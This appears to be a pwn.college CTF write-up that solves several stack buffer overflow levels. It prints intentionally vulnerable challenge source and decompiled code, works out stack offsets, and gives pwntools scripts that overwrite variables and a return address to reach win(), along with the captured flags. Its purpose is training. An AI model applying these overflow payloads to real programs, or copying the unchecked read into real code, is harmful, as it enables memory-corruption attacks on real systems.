98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
hacker@binary-exploitation~precision-easy:/challenge$ cat binary-exploitation-lose-variable-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 3654; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[18];
int win_variable;
int lose_variable;
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 18);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));

puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you");
puts("will not get the flag. Be careful not to overwrite this variable.\n");
printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

FIND_CANARY(cp_, cv_, bp_);

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 18);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("- the address of the lose variable is %p.\n", &data.lose_variable);
printf("- the value of the lose variable is 0x%x.\n", data.lose_variable);
printf("\n");

if (data.lose_variable)
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if (data.win_variable)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

obviously,’char input[18];’

if (data.win_variable)

{

    win();

run program

as the pointer,The “win” variable is stored at 0x7ffc7f520524, 20 bytes after the start of your input buffer.The “lose” variable is stored at 0x7ffc7f520528, 24 bytes after the start of your input buffer.

so , payload = b’a’ *19 +p64(1)*3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Send your payload (up to 4096 bytes)!
aaaaaaaaaaaaaaaaaaa1111
You sent 24 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffc7f5204e0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffc7f5204e8 (rsp+0x0008) | 88 16 52 7f fc 7f 00 00 | 0x00007ffc7f521688 |
| 0x00007ffc7f5204f0 (rsp+0x0010) | 78 16 52 7f fc 7f 00 00 | 0x00007ffc7f521678 |
| 0x00007ffc7f5204f8 (rsp+0x0018) | 00 00 00 00 01 00 00 00 | 0x0000000100000000 |
| 0x00007ffc7f520500 (rsp+0x0020) | a0 54 03 54 18 00 00 00 | 0x00000018540354a0 |
| 0x00007ffc7f520508 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffc7f520510 (rsp+0x0030) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffc7f520518 (rsp+0x0038) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffc7f520520 (rsp+0x0040) | 61 61 61 31 31 31 31 0a | 0x0a31313131616161 |
| 0x00007ffc7f520528 (rsp+0x0048) | 00 00 00 00 fc 7f 00 00 | 0x00007ffc00000000 |
| 0x00007ffc7f520530 (rsp+0x0050) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffc7f520538 (rsp+0x0058) | 00 67 5f 7a 53 ed dc 64 | 0x64dced537a5f6700 |
| 0x00007ffc7f520540 (rsp+0x0060) | 80 15 52 7f fc 7f 00 00 | 0x00007ffc7f521580 |
| 0x00007ffc7f520548 (rsp+0x0068) | 85 29 40 00 00 00 00 00 | 0x0000000000402985 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffc7f520510
- the saved frame pointer (of main) is at 0x7ffc7f520540
- the saved return address (previously to main) is at 0x7ffc7f520548
- the saved return address is now pointing to 0x402985.
- the canary is stored at 0x7ffc7f520538.
- the canary value is now 0x64dced537a5f6700.
- the address of the win variable is 0x7ffc7f520524.
- the value of the win variable is 0xa313131.
- the address of the lose variable is 0x7ffc7f520528.
- the value of the lose variable is 0x0.

You win! Here is your flag:
pwn.college{Evn3nLgW0HqI5LiXgi_VB-6-qCP.0FNwcDMxwSNzEDO0EzW}

next

Precision (hard)

ok

utilizing IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
__int64 buf[5]; // [rsp+30h] [rbp-40h] BYREF
__int64 v4; // [rsp+58h] [rbp-18h]
int v5; // [rsp+60h] [rbp-10h]
unsigned __int64 v6; // [rsp+68h] [rbp-8h]

v6 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v4 = 0LL;
v5 = 0;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
if ( (int)read(0, buf, 0x1000uLL) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( v5 )
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if ( HIDWORD(v4) )
win();
puts("Goodbye!");
return 0LL;
}

guess the structure of stack

1
2
3
4
5
6
7
8
9
10
[rbp-40h] buf[0]    #(start)
[rbp-38h] buf[1]
[rbp-30h] buf[2]
[rbp-28h] buf[3]
[rbp-20h] buf[4]
[rbp-18h] v4
[rbp-10h] v5
[rbp-8h] v6
[rbp] #saved rbp (calling function and push)
[rbp+8h] #return address

if ( HIDWORD(v4) )

win();

–>if the high 32 bits of v4 is non-zero,exe win()

if ( v5 )

{

puts("Lose variable is set! Quitting!");

exit(1);

–>if v5 != 0 ,failure

so , payload = b’A’ * 40 + p64(0x100000000) # high 32 bits of v4 is non-zero , (the num after ‘1’ can be any number that’s not essential)

payload += p32(0) #set v5 == 0

1
2
3
4
5
6
7
8
9
from pwn  import *
context = ('./binary-exploitation-first-overflow')
p = process('/challenge/binary-exploitation-lose-variable')
p.recvuntil(b"Send your payload ")
payload = b'a'*40
payload += p64(0x100000000)
payload += p32(0)
p.send(payload)
p.interactive()

python3 1.py

1
2
3
4
5
6
7
hacker@binary-exploitation~precision-hard:~/leap$ python3 1.py
[+] Starting local process '/challenge/binary-exploitation-lose-variable': pid 1862
[*] Switching to interactive mode
(up to 4096 bytes)!
[*] Process '/challenge/binary-exploitation-lose-variable' stopped with exit code 0 (pid 1862)
You win! Here is your flag:
pwn.college{sXz4ZlE3FnM5eV2Z_r2O13JXrX1.0VNwcDMxwSNzEDO0EzW}

ok , next

Variable Control (easy)

cat source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
hacker@binary-exploitation~variable-control-easy:/challenge$ cat binary-exploitation-var-control-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 1167; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[107];
int win_variable;
int lose_variable;
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 107);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, if you can set variable to 0x5b1264e4, the flag will be printed.\n");
printf("You can change this variable by overflowing the input buffer, but keep endianness in mind!\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));

puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you");
puts("will not get the flag. Be careful not to overwrite this variable.\n");
printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

FIND_CANARY(cp_, cv_, bp_);

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 107);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("- the address of the lose variable is %p.\n", &data.lose_variable);
printf("- the value of the lose variable is 0x%x.\n", data.lose_variable);
printf("\n");

if (data.lose_variable)
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if (data.win_variable == 1527932132)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

ok , run

The “win” variable is stored at 0x7ffc619ef3dc, 108 bytes after the start of your input buffer.

The “lose” variable is stored at 0x7ffc619ef3e0, 112 bytes after the start of your input buffer.

set win variable to 0x5b1264e4

payload = b’a’*108 + p32(0x5b1264e4) #set win variable to 0x5b1264e4

payload += p32(0) #set lose to 0

1
2
3
4
5
6
7
8
9
from pwn  import *
context = ('./binary-exploitation-first-overflow')
p = process('/challenge/binary-exploitation-var-control-w')
p.recvuntil(b"Send your payload ")
payload = b'a'*108
payload += p32(0x5b1264e4)
payload += p32(0)
p.send(payload)
p.interactive()

python3 1.py

1
2
You win! Here is your flag:
pwn.college{g_WgSnWfh-34g2aAzUZTTMaraHn.QX3UzMzwSNzEDO0EzW}

next

Variable Control (hard)

utilizing IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
int buf[24]; // [rsp+30h] [rbp-70h] BYREF
int v4; // [rsp+90h] [rbp-10h]
unsigned __int64 v5; // [rsp+98h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v4 = 0;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
if ( (int)read(0, buf, 0x1000uLL) < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
if ( v4 )
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if ( buf[23] == 443627862 )
win();
puts("Goodbye!");
return 0LL;
}

ok , set buf[23] =443627862 and make v4 == 0

0x70 - 0x10 = 0x60 =96

payload = b’a’(234) + p32(443627862) + p32(0)

1
2
3
4
5
6
7
8
9
from pwn  import *
context = ('/challenge/binary-exploitation-var-control')
p = process('/challenge/binary-exploitation-var-control')
p.recvuntil(b"Send your payload ")
payload = b'a'*(23*4)
payload += p32(443627862)
payload += p32(0)
p.send(payload)
p.interactive()

python3 1.py

1
2
3
4
5
6
7
hacker@binary-exploitation~variable-control-hard:~/leap$ python3 1.py
[+] Starting local process '/challenge/binary-exploitation-var-control': pid 1751
[*] Switching to interactive mode
(up to 4096 bytes)!
[*] Process '/challenge/binary-exploitation-var-control' stopped with exit code 0 (pid 1751)
You win! Here is your flag:
pwn.college{AinQMh8z1381pQlXAs_PHI-Ull5.QX4UzMzwSNzEDO0EzW}

next

Control Hijack (easy)

cat source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
hacker@binary-exploitation~control-hijack-easy:/challenge$ cat binary-exploitation-control-hijack-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 3602; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[111];
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 111);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is no \"win\" variable.\n");
printf("You will need to force the program to execute the win() function\n");
printf("by directly overflowing into the stored return address back to main,\n");
printf("which is stored at %p, %d bytes after the start of your input buffer.\n", rp_, rp_ - (unsigned long) &data.input);
printf("That means that you will need to input at least %d bytes (%d to fill the buffer,\n", rp_ + 8 - (unsigned long) &data.input, 111);
printf("%d to fill other stuff stored between the buffer and the return address,\n", rp_ - (unsigned long) &data.input - 111);
printf("and 8 that will overwrite the return address).\n\n");

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 111);

printf("Of these, you will overwrite %d bytes into the return address.\n", (long)((unsigned long) &data.input + size - rp_));
printf("If that number is greater than 8, you will overwrite the entire return address.\n\n");

printf("You will want to overwrite the return value from challenge()\n");
printf("(located at %p, %d bytes past the start of the input buffer)\n", rp_, rp_ - (unsigned long) &data.input);
printf("with %p, which is the address of the win() function.\n", win);
printf("This will cause challenge() to return directly into the win() function,\n");
printf("which will in turn give you the flag.\n");
printf("Keep in mind that you will need to write the address of the win() function\n");
printf("in little-endian (bytes backwards) so that it is interpreted properly.\n\n");

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the address of win() is %p.\n", win);
printf("\n");

printf("If you have managed to overwrite the return address with the correct value,\n");
printf("challenge() will jump straight to win() when it returns.\n");
printf("Let's try it now!\n\n", 0);

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

checksec

no canary , no pie

obviously,payload = b’a’ *136 + p64(0x402296)

1
2
3
4
5
6
7
8
9
from pwn  import *
context = ('/challenge/binary-exploitation-control-hijack-w')
p = process('/challenge/binary-exploitation-control-hijack-w')
p.recvuntil(b"Send your payload ")
payload = b'a'*136
payload += p64(0x402296)
#payload += p32(0)
p.send(payload)
p.interactive()

python3 1.py

1
2
3
Goodbye!
You win! Here is your flag:
pwn.college{oLcm2dGofp_7oQxQRBjp9CChjNT.dNTOywSNzEDO0EzW}

next

Control Hijack (hard)

IDA

function challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
__int64 buf[6]; // [rsp+20h] [rbp-40h] BYREF
__int16 v4; // [rsp+50h] [rbp-10h]
int v5; // [rsp+54h] [rbp-Ch]
size_t nbytes; // [rsp+58h] [rbp-8h]

memset(buf, 0, sizeof(buf));
v4 = 0;
nbytes = 4096LL;
printf("Send your payload (up to %lu bytes)!\n", 4096LL);
v5 = read(0, buf, 0x1000uLL);
if ( v5 < 0 )
{
v0 = __errno_location();
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
puts("Goodbye!");
return 0LL;
}

the buffer start at rbp - 0x40 ,end at rbp - 0x10

saved rbp = 0x8 , return adress = rbp + 0x8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> i fu
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010d0 __errno_location@plt
0x00000000004010e0 puts@plt
0x00000000004010f0 write@plt
0x0000000000401100 printf@plt
0x0000000000401110 geteuid@plt
0x0000000000401120 read@plt
